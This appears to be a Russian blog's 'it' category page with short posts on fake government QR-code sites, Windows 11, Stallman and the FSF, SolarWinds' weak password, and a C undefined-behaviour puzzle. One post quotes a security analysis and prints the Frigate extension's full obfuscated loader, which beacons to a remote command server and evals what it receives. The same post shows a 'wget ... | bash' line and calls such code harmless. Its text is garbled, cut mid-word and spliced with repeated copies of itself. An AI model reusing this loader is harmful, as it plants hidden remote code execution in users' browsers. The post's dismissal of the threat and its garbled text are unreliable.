Category: it

Category was added automatically. Read all entries about "it".

Dnyarry

На всякого хитрого Собянина найдутся фейковые "госуслуги":

https://www.kommersant.ru/doc/4878485
По данным «Серчинформ», количество доменных имен, имитирующих «Госуслуги», уже заметно выросло — до 29, в то время как в марте их было зафиксировано всего два.

Использование фейкового сайта, на который ведет поддельный QR-код, стало наиболее распространенной схемой среди предложений по обходу коронавирусных ограничений, подтверждает ведущий эксперт направления «Информационная безопасность» IT-компании «Крок» Александр Черныхов. В сети, отмечает он, уже появились инструкции по созданию подобных связок.


Мне что-то подсказывает, что в ресторанах особого желания "распознавать поддельные домены" наблюдаться не должно

В пресс-службе департамента информационных технологий (ДИТ) Москвы заявили, что использование поддельных QR-кодов подпадает под ст. 327 УК РФ — подделка и использование официальных документов. Но с выводами ДИТ не соглашаются опрошенные “Ъ” юристы.

В России растет число смертей из-за последствий COVID-19
«QR-код не является документом, а ст. 327 УК РФ может вменяться только к бумажным документам на официальных бланках, утвержденных госстандартом, либо к электронным документам, подписанным электронной цифровой подписью»,— объяснил член комиссии по правовому обеспечению цифровой экономики московского отделения Ассоциации юристов России Дмитрий Липин.


В общем в Мск проводятся практические тренинги по обучению граждан обману властей на современном технологическом уровне :)
fatherland

Microsoft представила новую операционную систему Windows 11

https://www.fontanka.ru/2021/06/24/69989357/
Корпорация Microsoft показала новую операционную систему Windows 11 — преемницу десятой версии.

Как показали представители компании на презентации 24 июня, в первую очередь у системы изменился интерфейс: «живые плитки» исчезли, а меню «Пуск» переместилось в центр панели задач. Все грани округлили, появились тени с анимацией, новые системные звуки, коллекции обоев рабочего стола и новый минималистский логотип операционной системы.

Окна теперь можно не только сворачивать и разворачивать, но и располагать по заданным шаблонам, что удобно при многозадачности и большом числе открытых приложений.


Вспоминается бессмертное:

... Мурло был деловит и резок: «У вас непомерно раздуты штаты. 52% — минимальный размер сокращения». А Брехенридж, завершая разгром, туманно пояснил, почему именно сейчас изменения совершенно необходимы. В результате их нашествия:

50% сотрудников уволено;

за 1 (один) миллион фунтов стерлингов куплена новая вычислительная машина — символ прогресса;

в здании Правления сломаны внутренние перегородки и небольшие кабинеты заменены огромной общей комнатой;

жухло-желтые стены перекрашены в серо-сиреневые цвета.

Совсем по-другому (на первый взгляд) закончилось вторжение Сомнифереса, Думкинсона, Гиббона и Мастерса в концерн «Легендарные здания». На директоров этого концерна давила группа акционеров, требуя модернизировать систему управления; главными подстрекателями были Лайет и Куссайнинг. Смысла требований никто как следует не понимал, но акционеры беззастенчиво утверждали, что директора, руководящие немодернизированным Правлением, получают неоправданно большое жалованье. Убоявшись нарастающих трудностей, председатель Правления обратился к бизнес-консультантам. От них ожидался совет оставить управление концерном без изменений (если не считать мелких перетасовок). У этой бригады было свое распределение обязанностей. Сомниферес неуверенно качал головой, Думкинсон глубокомысленно кивал, Гиббон выделывал иронически-угрожающие гримасы, а Мастере уверенно и непонятно доказывал, почему реформы необходимы или (как в данном случае) не нужны. В результате их набега:

господа Лайет и Куссайнинг введены в Правление;

за 1 (один) миллион фунтов стерлингов куплена новая вычислительная машина — символ прогресса;

в здании Правления возведены внутренние перегородки и огромная общая комната заменена небольшими кабинетами;

серо-сиреневые стены перекрашены в жухло-желтый цвет.
fatherland

Страсти по вотсаппу

Я ни им ни фесебуком не пользуюсь - но совершенно не переживаю по поводу их намерения (естественного совершенно) интегрировать базы данных по пользователям.

Более того - если бы не дебильные законы "о охране персональных данных" требующие "испрашивать согласия" на любой чих - никто бы и не узнал особенно.

Но "весь мир в панике"

PS: Если уж на то пошло - то "охрана персональных данных" куда вреднее затеи вотсапперов.
Greta

Война с Чехией

Как мне правильно подсказывают - кроме Козла и Вельвета надо запретить JetBrains.

Что забавно - потому что когда эта теплая компашка искала инокрышу - Чехия была выбрана отчасти из-за того что они сами там в Тугеде сидели (в смысле территория учредителям более или менее знакомая), а отчасти именно за статус места "где ничего не происходит" (тогда еще и с безвизом).

И вот вдруг - ... :)))
Dnyarry

Возвращение Саурона

Изгнание Саурона:

https://habr.com/ru/news/t/467717/
17 сентября 2019 в 11:16
[Spoiler (click to open)]Ричард Столлман покидает должность президента Фонда СПО и уходит из совета директоров данной организации. Причиной послужило общественное осуждение его высказываний, связанных с одним из клиентов Эпштейна.

Столлман высказал сомнения в том, что Марвина Мински можно было обвинить в изнасиловании так как тот мог не знать о том, что девушка была принуждена к тому, чтобы заняться с ним сексом.

Как выяснилось, этого было достаточно для того, чтобы перестать считать Столлмана достойным быть публичным лицом FSF. Более того, SFC выразила мнение, гласящее что «его высказывания формируют модель поведения, несовместимую с целями движения за свободное программное обеспечение».



Возвращение Саурона:

https://habr.com/ru/news/t/548656/
24 марта 2021 в 09:40
[Spoiler (click to open)]Ричард М. Столлман объявляет, что снова занял место в совете директоров Фонда свободного программного обеспечения (FSF).

Ричард М. Столлман объявляет, что снова занял место в совете директоров Фонда свободного программного обеспечения (FSF).23 марта 2021 года более 600 разработчиков-сторонников развития СПО, включая многих ментейнеров, подписали открытое письмо за увольнение Столлмана из совета FSF и со всех руководящих должностей, включая проект GNU. Они также требуют, чтобы текущий совет FSF ушел в отставку. По мнению подписавшихся, Столлман долгое время был опасной силой в техническом сообществе. Он показал себя женоненавистником, эйблистом и трансфобом. Сторонники СПО утверждают, что человеку с подобными убеждениями нет места в сообществе свободного программного обеспечения.


Прогрессивная общественность фшоке и негодуэ

fatherland

Мечта разбилась о суровый быт

https://snake-d-ha.livejournal.com/1176462.html
"Украинские власти решили не стоять в стороне и включились в борьбу за белорусских "айтишников". Так, в середине августа правительство Украины расширило квоты для приема высококвалифицированных IT-специалистов из-за рубежа. В этом году возможностью могут воспользоваться пять тысяч человек"

Результат оказался немного предсказуем:

НОЛЬ.

Я опросил под десяток компаний и ни в одной из них эйчары не смогли за последние полгода вспомнить ни одного устроенного беларуса.

Следим за руками — человек может жить и работать здесь по виду на жительство. Для вида на жительство нужно:
1) Жениться/замуж — не вариант
2) ОФИЦИАЛЬНОЕ трудоустройство — если вы хотите платить все украинские налоги, в отличие от украинских айтишников.

И вот в последний пункт и уткнулись все.


От себя замечу что есть еще пункт (3): любой переезд — как полпожара. Что на деле серьезный фактор — особенно если у человека жена-дети. На мой взгляд он - главный. (1-2) уже дополировывают ситуацию до нуля.
prog

Безопастностное - 4: Яндекс в своем репертуаре:

Почитал про ужасы фрегата: Резюме - это тупая и глупая страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от котПочитал про ужасы фрегата:
Резюме - это тупая, глупая и очень знакомого типа страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от которых, как от огня бежать надо). Которой они же еще в свое время компостировали моск "покупайте фирменное-платное"
Квинтэссенция пугательного маразма: Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений. - страшно аж жуть - особенно если учесть что в нынешнем вебе-2.0 этим 2/3 страниц занимается - даже расширений никаких не надо - просто по ссылке пройти.
https://habr.com/ru/company/yandex/blog/534586/

Динамическая загрузка и выполнение кода

Frigate

(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
[Spoiler (click to open)]
profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода"
Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...

Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой
Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает).
Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.

Вторая страшилка там - "динамический выбор и смена серверов
Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков.
Сервису доверять при этом разумеется надо.
На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.орых, как от огня бежать надо). https://habr.com/ru/company/yandex/blog/534586/ Динамическая загрузка и выполнение кода Frigate (полный код расширения доступен по ссылке) Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store. ... Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода" Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...
Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает). Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.
Вторая страшилка там - "динамический выбор и смена серверов Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков. Сервису доверять при этом разумеется надо. На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.
Dnyarry

О русских хакерах

https://pascendi.livejournal.com/1940230.html
https://xakep.ru/2020/12/18/virtual-farms/
Доступ был получен через систему SolarWinds, предназначенную для управления ИТ-инфраструктурой. (Кстати, ее в России продвигают чуть ли не десяток вендоров и системных интеграторов.)

Пароль к ее серверу обновлений был, внимание, solarwinds123. И их предупреждали за год, что с этим паролем к нему может подключиться любой.

Источник.

Пикантное дополнение: они, оказывается, сами же выложили данные учетки сервера обновлений на GitHub [вместе с паролем].


Так что когда в голливудских боевиках крутые хацкеры подбирают пароль password - это не клюква, а чистая правда жизни
fatherland

Купил тут второй ноут с предуставновленной ubuntu 20.04

В смысле самой установки - никаких нареканий. Но попользовался несколько дней и понял что это надо сносить и ставить LXDE - не потому что "криво поставлено", а потому что убунта как была по интерфейсу говном несколько лет назад когда я с нее слез - так им и осталась.
prog

Undefined behavior - 3

Ну как правильно почти все заметили оно там в i < ++ i.

Не определен порядок вычисления аргументов сравнения о чем clang и рапортует.

Что более забавно - что как я уже сказал - оно (если break убрать) с ключом -O0 зацикливается, а с ключом -O3 - нет.

Причина в целом понятна - есть старая-старая эвристика - при вычислении аргументов начинать с самого сложного выражения - просто потому что "в среднем" такая последовательность требует меньшего расхода регистров.

Что видимо clang и делает с -O0, ну а с -O3 он там какой-то продвинутый оптимизационный интелект подпускает.